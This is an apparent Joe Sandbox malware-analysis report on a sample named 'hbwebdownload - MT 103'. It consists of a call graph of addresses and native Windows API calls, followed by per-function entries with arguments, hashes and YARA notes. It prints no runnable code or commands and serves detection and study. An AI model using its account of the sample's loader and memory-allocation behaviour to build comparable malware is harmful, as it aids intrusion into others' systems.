4144c5 99088->99090 99089->99033 99093 4144e1 99090->99093 99094 4144cc 99090->99094 99144 41a2f0 LdrLoadDll 99091->99144 99097 4144e6 99093->99097 99098 4144fc 99093->99098 99096 41a460 2 API calls 99094->99096 99095 41462e 99099 41a460 2 API calls 99095->99099 99100 4144d5 99096->99100 99101 41a460 2 API calls 99097->99101 99104 414501 99098->99104 99132 41bf60 99098->99132 99102 414639 99099->99102 99100->99033 99103 4144ef 99101->99103 99102->99033 99103->99033 99108 414513 99104->99108 99135 41a3e0 99104->99135 99107 414567 99109 41457e 99107->99109 99143 41a270 LdrLoadDll 99107->99143 99108->99033 99111 414585 99109->99111 99112 41459a 99109->99112 99114 41a460 2 API calls 99111->99114 99113 41a460 2 API calls 99112->99113 99115 4145a3 99113->99115 99114->99108 99116 4145cf 99115->99116 99138 41bb60 99115->99138 99116->99033 99118 4145ba 99119 41bd90 2 API calls 99118->99119 99120 4145c3 99119->99120 99120->99033 99121->99005 99122->99025 99124 41af30 LdrLoadDll 99123->99124 99125 414d14 99124->99125 99126 41a2f0 LdrLoadDll 99125->99126 99126->99031 99128 41a47c NtClose 99127->99128 99129 41af30 LdrLoadDll 99127->99129 99128->99034 99129->99128 99130->99014 99131->99078 99145 41a600 99132->99145 99134 41bf78 99134->99104 99136 41a3fc NtReadFile 99135->99136 99137 41af30 LdrLoadDll 99135->99137 99136->99107 99137->99136 99139 41bb84 99138->99139 99140 41bb6d 99138->99140 99139->99118 99140->99139 99141 41bf60 2 API calls 99140->99141 99142 41bb9b 99141->99142 99142->99118 99143->99109 99144->99095 99146 41af30 LdrLoadDll 99145->99146 99147 41a61c RtlAllocateHeap 99146->99147 99147->99134 99149 41bd3d 99148->99149 99271 41a510 99148->99271 99149->99039 99152 414081 99151->99152 99154 414089 99151->99154 99152->99042 99153 41435c 99153->99042 99154->99153 99274 41cf00 99154->99274 99156 4140dd 99157 41cf00 2 API calls 99156->99157 99161 4140e8 99157->99161 99158 414136 99160 41cf00 2 API calls 99158->99160 99162 41414a 99160->99162 99161->99158 99279 41cfa0 99161->99279 99163 41cf00 2 API calls 99162->99163 99165 4141bd 99163->99165 99164 41cf00 2 API calls 99173 414205 99164->99173 99165->99164 99167 414334 99286 41cf60 LdrLoadDll RtlFreeHeap 99167->99286 99169 41433e 99287 41cf60 LdrLoadDll RtlFreeHeap 99169->99287 99171 414348 99288 41cf60 LdrLoadDll RtlFreeHeap 99171->99288 99285 41cf60 LdrLoadDll RtlFreeHeap 99173->99285 99174 414352 99289 41cf60 LdrLoadDll RtlFreeHeap 99174->99289 99177 4153a1 99176->99177 99178 414a50 8 API calls 99177->99178 99179 4153b7 99178->99179 99180 4153f2 99179->99180 99181 415405 99179->99181 99185 41540a 99179->99185 99182 41bd90 2 API calls 99180->99182 99183 41bd90 2 API calls 99181->99183 99184 4153f7 99182->99184 99183->99185 99184->99046 99185->99046 99290 41ac00 99186->99290 99189 41ac00 LdrLoadDll 99190 41ad5d 99189->99190 99191 41ac00 LdrLoadDll 99190->99191 99192 41ad66 99191->99192 99193 41ac00 LdrLoadDll 99192->99193 99194 41ad6f 99193->99194 99195 41ac00 LdrLoadDll 99194->99195 99196 41ad78 99195->99196 99197 41ac00 LdrLoadDll 99196->99197 99198 41ad81 99197->99198 99199 41ac00 LdrLoadDll 99198->99199 99200 41ad8d 99199->99200 99201 41ac00 LdrLoadDll 99200->99201 99202 41ad96 99201->99202 99203 41ac00 LdrLoadDll 99202->99203 99204 41ad9f 99203->99204 99205 41ac00 LdrLoadDll 99204->99205 99206 41ada8 99205->99206 99207 41ac00 LdrLoadDll 99206->99207 99208 41adb1 99207->99208 99209 41ac00 LdrLoadDll 99208->99209 99210 41adba 99209->99210 99211 41ac00 LdrLoadDll 99210->99211 99212 41adc6 99211->99212 99213 41ac00 LdrLoadDll 99212->99213 99214 41adcf 99213->99214 99215 41ac00 LdrLoadDll 99214->99215 99216 41add8 99215->99216 99217 41ac00 LdrLoadDll 99216->99217 99218 41ade1 99217->99218 99219 41ac00 LdrLoadDll 99218->99219 99220 41adea 99219->99220 99221 41ac00 LdrLoadDll 99220->99221 99222 41adf3 99221->99222 99223 41ac00 LdrLoadDll 99222->99223 99224 41adff 99223->99224 99225 41ac00 LdrLoadDll 99224->99225 99226 41ae08 99225->99226 99227 41ac00 LdrLoadDll 99226->99227 99228 41ae11 99227->99228 99229 41ac00 LdrLoadDll 99228->99229 99230 41ae1a 99229->99230 99231 41ac00 LdrLoadDll 99230->99231 99232 41ae23 99231->99232 99233 41ac00 LdrLoadDll 99232->99233 99234 41ae2c 99233->99234 99235 41ac00 LdrLoadDll 99234->99235 99236 41ae38 99235->99236 99237 41ac00 LdrLoadDll 99236->99237 99238 41ae41 99237->99238 99239 41ac00 LdrLoadDll 99238->99239 99240 41ae4a 99239->99240 99241 41ac00 LdrLoadDll 99240->99241 99242 41ae53 99241->99242 99243 41ac00 LdrLoadDll 99242->99243 99244 41ae5c 99243->99244 99245 41ac00 LdrLoadDll 99244->99245 99246 41ae65 99245->99246 99247 41ac00 LdrLoadDll 99246->99247 99248 41ae71 99247->99248 99249 41ac00 LdrLoadDll 99248->99249 99250 41ae7a 99249->99250 99251 41ac00 LdrLoadDll 99250->99251 99252 41ae83 99251->99252 99253 41ac00 LdrLoadDll 99252->99253 99254 41ae8c 99253->99254 99255 41ac00 LdrLoadDll 99254->99255 99256 41ae95 99255->99256 99257 41ac00 LdrLoadDll 99256->99257 99258 41ae9e 99257->99258 99259 41ac00 LdrLoadDll 99258->99259 99260 41aeaa 99259->99260 99261 41ac00 LdrLoadDll 99260->99261 99262 41aeb3 99261->99262 99263 41ac00 LdrLoadDll 99262->99263 99264 41aebc 99263->99264 99264->99050 99266 41af30 LdrLoadDll 99265->99266 99267 419eac 99266->99267 99296 12c2df0 LdrInitializeThunk 99267->99296 99268 419ec3 99268->98970 99270->99047 99272 41a52c NtAllocateVirtualMemory 99271->99272 99273 41af30 LdrLoadDll 99271->99273 99272->99149 99273->99272 99275 41cf10 99274->99275 99276 41cf16 99274->99276 99275->99156 99277 41bf60 2 API calls 99276->99277 99278 41cf3c 99277->99278 99278->99156 99280 41cfc5 99279->99280 99284 41cffd 99279->99284 99281 41bf60 2 API calls 99280->99281 99282 41cfda 99281->99282 99283 41bd90 2 API calls 99282->99283 99283->99284 99284->99161 99285->99167 99286->99169 99287->99171 99288->99174 99289->99153 99291 41ac1b 99290->99291 99292 414e50 LdrLoadDll 99291->99292 99293 41ac3b 99292->99293 99294 414e50 LdrLoadDll 99293->99294 99295 41ace7 99293->99295 99294->99295 99295->99189 99296->99268 99298 12c2c1f LdrInitializeThunk 99297->99298 99299 12c2c11 99297->99299 99298->99056 99299->99056 99301 41af30 LdrLoadDll 99300->99301 99302 41a65c RtlFreeHeap 99301->99302 99302->99060 99304 407eb0 99303->99304 99305 407eab 99303->99305 99306 41bd10 2 API calls 99304->99306 99305->98978 99309 407ed5 99306->99309 99307 407f38 99307->98978 99308 419e90 2 API calls 99308->99309 99309->99307 99309->99308 99310 407f3e 99309->99310 99314 41bd10 2 API calls 99309->99314 99319 41a590 99309->99319 99312 407f64 99310->99312 99313 41a590 2 API calls 99310->99313 99312->98978 99315 407f55 99313->99315 99314->99309 99315->98978 99317 40817e 99316->99317 99318 41a590 2 API calls 99316->99318 99317->98939 99318->99317 99320 41af30 LdrLoadDll 99319->99320 99321 41a5ac 99320->99321 99321->99309 99322 41a5cc 99321->99322 99324 12c2c70 LdrInitializeThunk 99321->99324 99324->99321 99326 41b593 99325->99326 99329 40acf0 99326->99329 99330 40ad14 99329->99330 99331 409c5b 99330->99331 99332 40ad5d LdrLoadDll 99330->99332 99331->98947 99332->99331 99334 40b063 99333->99334 99336 40b0e0 99334->99336 99348 419c60 LdrLoadDll 99334->99348 99336->98952 99338 41af30 LdrLoadDll 99337->99338 99339 41a7bf LookupPrivilegeValueW 99338->99339 99339->98957 99341 41af30 LdrLoadDll 99340->99341 99342 41a24c 99341->99342 99349 12c2ea0 LdrInitializeThunk 99342->99349 99343 41a26b 99343->98958 99346 41af30 LdrLoadDll 99345->99346 99347 41a1cc 99346->99347 99347->98954 99348->99336 99349->99343 99351 40b1f0 99350->99351 99352 40b040 LdrLoadDll 99351->99352 99353 40b204 99352->99353 99353->98894 99355 40ae51 99354->99355 99356 40ae4d 99354->99356 99357 40ae6a 99355->99357 99358 40ae9c 99355->99358 99356->98897 99400 419ca0 LdrLoadDll 99357->99400 99401 419ca0 LdrLoadDll 99358->99401 99360 40aead 99360->98897 99362 40ae8c 99362->98897 99364 40f4a0 3 API calls 99363->99364 99365 4143c6 99363->99365 99364->99365 99365->98899 99367 408a79 99366->99367 99402 4087a0 99366->99402 99369 408a9d 99367->99369 99370 4087a0 19 API calls 99367->99370 99369->98901 99371 408a8a 99370->99371 99371->99369 99420 40f710 10 API calls 99371->99420 99374 41af30 LdrLoadDll 99373->99374 99375 41a4ec 99374->99375 99539 12c2e80 LdrInitializeThunk 99375->99539 99376 40c322 99378 40f4a0 99376->99378 99379 40f4bd 99378->99379 99540 419f90 99379->99540 99382 40f505 99382->98905 99383 419fe0 2 API calls 99384 40f52e 99383->99384 99384->98905 99386 419ffc 99385->99386 99387 41af30 LdrLoadDll 99385->99387 99547 12c2d10 LdrInitializeThunk 99386->99547 99387->99386 99388 40c385 99388->98911 99388->98914 99391 41af30 LdrLoadDll 99390->99391 99392 41a04c 99391->99392 99548 12c2d30 LdrInitializeThunk 99392->99548 99393 40c459 99393->98922 99396 41af30 LdrLoadDll 99395->99396 99397 419e0c 99396->99397 99549 12c2fb0 LdrInitializeThunk 99397->99549 99398 40c4ac 99398->98926 99400->99362 99401->99360 99403 407ea0 4 API calls 99402->99403 99406 4087ba 99402->99406 99403->99406 99404 408a49 99404->99367 99405 408a3f 99407 408160 2 API calls 99405->99407 99406->99404 99406->99405 99410 419ed0 2 API calls 99406->99410 99412 40c4c0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 99406->99412 99413 41a460 LdrLoadDll NtClose 99406->99413 99418 419df0 2 API calls 99406->99418 99421 419ce0 99406->99421 99424 4085d0 99406->99424 99436 40f5f0 LdrLoadDll NtClose 99406->99436 99437 419d60 LdrLoadDll 99406->99437 99438 419d90 LdrLoadDll 99406->99438 99439 419e20 LdrLoadDll 99406->99439 99440 4083a0 99406->99440 99456 405f60 LdrLoadDll 99406->99456 99407->99404 99410->99406 99412->99406 99413->99406 99418->99406 99420->99369 99422 41af30 LdrLoadDll 99421->99422 99423 419cfc 99422->99423 99423->99406 99425 4085e6 99424->99425 99457 419850 99425->99457 99427 4085ff 99432 408771 99427->99432 99478 4081a0 99427->99478 99429 4086e5 99430 4083a0 11 API calls 99429->99430 99429->99432 99431 408713 99430->99431 99431->99432 99433 419ed0 2 API calls 99431->99433 99432->99406 99434 408748 99433->99434 99434->99432 99435 41a4d0 2 API calls 99434->99435 99435->99432 99436->99406 99437->99406 99438->99406 99439->99406 99441 4083c9 99440->99441 99518 408310 99441->99518 99444 4083dc 99445 41a4d0 2 API calls 99444->99445 99446 408467 99444->99446 99449 408462 99444->99449 99526 40f670 99444->99526 99445->99444 99446->99406 99447 41a460 2 API calls 99448 40849a 99447->99448 99448->99446 99450 419ce0 LdrLoadDll 99448->99450 99449->99447 99451 4084ff 99450->99451 99451->99446 99530 419d20 99451->99530 99453 408563 99453->99446 99454 414a50 8 API calls 99453->99454 99455 4085b8 99454->99455 99455->99406 99456->99406 99458 41bf60 2 API calls 99457->99458 99459 419867 99458->99459 99485 409310 99459->99485 99461 419882 99462 4198c0 99461->99462 99463 4198a9 99461->99463 99466 41bd10 2 API calls 99462->99466 99464 41bd90 2 API calls 99463->99464 99465 4198b6 99464->99465 99465->99427 99467 4198fa 99466->99467 99468 41bd10 2 API calls 99467->99468 99470 419913 99468->99470 99475 419bb4 99470->99475 99491 41bd50 99470->99491 99472 419ba0 99473 41bd90 2 API calls 99472->99473 99474 419baa 99473->99474 99474->99427 99476 41bd90 2 API calls 99475->99476 99477 419c09 99476->99477 99477->99427 99479 40829f 99478->99479 99480 4081b5 99478->99480 99479->99429 99480->99479 99481 414a50 8 API calls 99480->99481 99483 408222 99481->99483 99482 408249 99482->99429 99483->99482 99484 41bd90 2 API calls 99483->99484 99484->99482 99486 409335 99485->99486 99487 40acf0 LdrLoadDll 99486->99487 99488 409368 99487->99488 99490 40938d 99488->99490 99494 40cf20 99488->99494 99490->99461 99512 41a550 99491->99512 99495 40cf4c 99494->99495 99496 41a1b0 LdrLoadDll 99495->99496 99497 40cf65 99496->99497 99498 40cf6c 99497->99498 99505 41a1f0 99497->99505 99498->99490 99502 40cfa7 99503 41a460 2 API calls 99502->99503 99504 40cfca 99503->99504 99504->99490 99506 41a20c 99505->99506 99507 41af30 LdrLoadDll 99505->99507 99511 12c2ca0 LdrInitializeThunk 99506->99511 99507->99506 99508 40cf8f 99508->99498 99510 41a7e0 LdrLoadDll 99508->99510 99510->99502 99511->99508 99513 41af30 LdrLoadDll 99512->99513 99514 41a56c 99513->99514 99517 12c2f90 LdrInitializeThunk 99514->99517 99515 419b99 99515->99472 99515->99475 99517->99515 99519 408328 99518->99519 99520 40acf0 LdrLoadDll 99519->99520 99521 408343 99520->99521 99522 414e50 LdrLoadDll 99521->99522 99523 408353 99522->99523 99524 40835c PostThreadMessageW 99523->99524 99525 408370 99523->99525 99524->99525 99525->99444 99527 40f683 99526->99527 99533 419e60 99527->99533 99531 41af30 LdrLoadDll 99530->99531 99532 419d3c 99531->99532 99532->99453 99534 419e7c 99533->99534 99535 41af30 LdrLoadDll 99533->99535 99538 12c2dd0 LdrInitializeThunk 99534->99538 99535->99534 99536 40f6ae 99536->99444 99538->99536 99539->99376 99541 419fa6 99540->99541 99542 41af30 LdrLoadDll 99541->99542 99543 419fac 99542->99543 99546 12c2f30 LdrInitializeThunk 99543->99546 99544 40f4fe 99544->99382 99544->99383 99546->99544 99547->99388 99548->99393 99549->99398 99553 12c2ad0 LdrInitializeThunk

                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                    Function 0041A3DA Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 0 41a3da-41a429 call 41af30 NtReadFile
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A425
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                    • String ID: 1JA$rMA$rMA
                                                                                                                                                                                    • API String ID: 2738559852-782607585
                                                                                                                                                                                    • Opcode ID: 757b6e1bc07b3bf09793faee9661551754b0ff6aec0333777d77dda8410c520e
                                                                                                                                                                                    • Instruction ID: d9496cab67eccaa2a300e7c2e8500b7217d72c9056333dd282b08d57620d7ac6
                                                                                                                                                                                    • Opcode Fuzzy Hash: 757b6e1bc07b3bf09793faee9661551754b0ff6aec0333777d77dda8410c520e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 87F01DB2210148ABCB05DF98D890CEB7BADAF8C314B15869DFD0C97216C634E855CBA0
                                                                                                                                                                                    Function 0041A3E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 3 41a3e0-41a3f6 4 41a3fc-41a429 NtReadFile 3->4 5 41a3f7 call 41af30 3->5 5->4
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A425
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                    • String ID: 1JA$rMA$rMA
                                                                                                                                                                                    • API String ID: 2738559852-782607585
                                                                                                                                                                                    • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                                                                                                    • Instruction ID: c75c44bd16ed9a046d03b4490adc68ebadf214b0f3589fd2ba36fb57c0fad8bd
                                                                                                                                                                                    • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                                                                                                    • Instruction Fuzzy Hash: 95F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158249BE1D97241D630E851CBA4
                                                                                                                                                                                    Function 0041A2EA Relevance: 1.6, APIs: 1, Instructions: 66filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 204 41a2ea-41a2ee 205 41a2f0-41a329 call 41af30 204->205 206 41a338-41a381 call 41af30 NtCreateFile 204->206
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A37D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 823142352-0
                                                                                                                                                                                    • Opcode ID: 94b546fadc3172d4cbd0974d002435d2c170b5460e604780f875a3b40548b332
                                                                                                                                                                                    • Instruction ID: 7d927b91c53d99ff772232a7bee72b09811667c0becba63b72a30f99829caa9b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 94b546fadc3172d4cbd0974d002435d2c170b5460e604780f875a3b40548b332
                                                                                                                                                                                    • Instruction Fuzzy Hash: DE1107B2215209ABCB08DF98DC85DEB77ADAF8C314F05824DFA4DA7241C630E851CBA4
                                                                                                                                                                                    Function 0040ACF0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 227 40acf0-40ad0c 228 40ad14-40ad19 227->228 229 40ad0f call 41cc20 227->229 230 40ad1b-40ad1e 228->230 231 40ad1f-40ad2d call 41d040 228->231 229->228 234 40ad3d-40ad4e call 41b470 231->234 235 40ad2f-40ad3a call 41d2c0 231->235 240 40ad50-40ad64 LdrLoadDll 234->240 241 40ad67-40ad6a 234->241 235->234 240->241
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Load
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2234796835-0
                                                                                                                                                                                    • Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                    • Instruction ID: 667dcf47c4413345b20473d406be44d3d8b7ebea9a3b2269cd40777f9644ce6e
                                                                                                                                                                                    • Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                    • Instruction Fuzzy Hash: 79015EB5D0020DBBDB10EBA1DC42FDEB3799F54308F0045AAA908A7281F638EB54CB95
                                                                                                                                                                                    Function 0041A32A Relevance: 1.5, APIs: 1, Instructions: 43filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 251 41a32a-41a346 252 41a34c-41a381 NtCreateFile 251->252 253 41a347 call 41af30 251->253 253->252
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A37D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 823142352-0
                                                                                                                                                                                    • Opcode ID: ee3695a4899577ce3d874c1ef7f2278fb65b84fc6352f54c306a385979961bef
                                                                                                                                                                                    • Instruction ID: 24e128ae343006bbbc751a00b5729f9aa9b5416c578219d56ac147f4e2306034
                                                                                                                                                                                    • Opcode Fuzzy Hash: ee3695a4899577ce3d874c1ef7f2278fb65b84fc6352f54c306a385979961bef
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4201B2B2251208AFCB08CF88DC95EEB77ADAF8C754F558248FA1D97245D630E851CBA4
                                                                                                                                                                                    Function 0041A330 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 254 41a330-41a346 255 41a34c-41a381 NtCreateFile 254->255 256 41a347 call 41af30 254->256 256->255
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A37D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 823142352-0
                                                                                                                                                                                    • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                                                                                                    • Instruction ID: 7ed6e6cb708c972561b0f9910f559a39af1ab3cc862b6eef20835abd22e26781
                                                                                                                                                                                    • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                                                                                                    • Instruction Fuzzy Hash: C4F0BDB2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E851CBA4
                                                                                                                                                                                    Function 0041A50A Relevance: 1.5, APIs: 1, Instructions: 31memorynativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 257 41a50a-41a54d call 41af30 NtAllocateVirtualMemory
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B104,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A549
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocateMemoryVirtual
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2167126740-0
                                                                                                                                                                                    • Opcode ID: 78230f0ff9201d4745c2d2b452e3fe21bc602f113a9ce9da4f9caed57fd84e58
                                                                                                                                                                                    • Instruction ID: 3214efd615eb7748cce34c0857b00ece96d2b0a482458fe4319a666bc9c2efb0
                                                                                                                                                                                    • Opcode Fuzzy Hash: 78230f0ff9201d4745c2d2b452e3fe21bc602f113a9ce9da4f9caed57fd84e58
                                                                                                                                                                                    • Instruction Fuzzy Hash: CBF05EB6210104AFDB14CF88CC80EE77B69AF8C314F158549FE489B241C230E811CFA0
                                                                                                                                                                                    Function 0041A510 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 260 41a510-41a526 261 41a52c-41a54d NtAllocateVirtualMemory 260->261 262 41a527 call 41af30 260->262 262->261
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B104,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A549
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocateMemoryVirtual
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2167126740-0
                                                                                                                                                                                    • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                                                                                                    • Instruction ID: 8b47746d7073478515a2f8fd1fb94e42dcc9ffa91ac9ff965dae3841ed3a313c
                                                                                                                                                                                    • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9CF015B2210208ABCB14DF89CC81EEB77ADAF88754F118149BE0897241C630F811CBA4
                                                                                                                                                                                    Function 0041A45E Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A485
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Close
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3535843008-0
                                                                                                                                                                                    • Opcode ID: 25e6b8735553a4378f13bb0ccfcbc3dfc71a3b5083118c10cb058ef1580ccd1c
                                                                                                                                                                                    • Instruction ID: 5c9da78348f1c9ef571b357f18b9320631ab7668477cfade35412350ce0ea39f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 25e6b8735553a4378f13bb0ccfcbc3dfc71a3b5083118c10cb058ef1580ccd1c
                                                                                                                                                                                    • Instruction Fuzzy Hash: A2E0C272200204BFD720EFA4CC45EDB7B68EF44364F104459F90EAB242C130E511CB90
                                                                                                                                                                                    Function 0041A460 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                                                                                                                                    Download Yara Rule
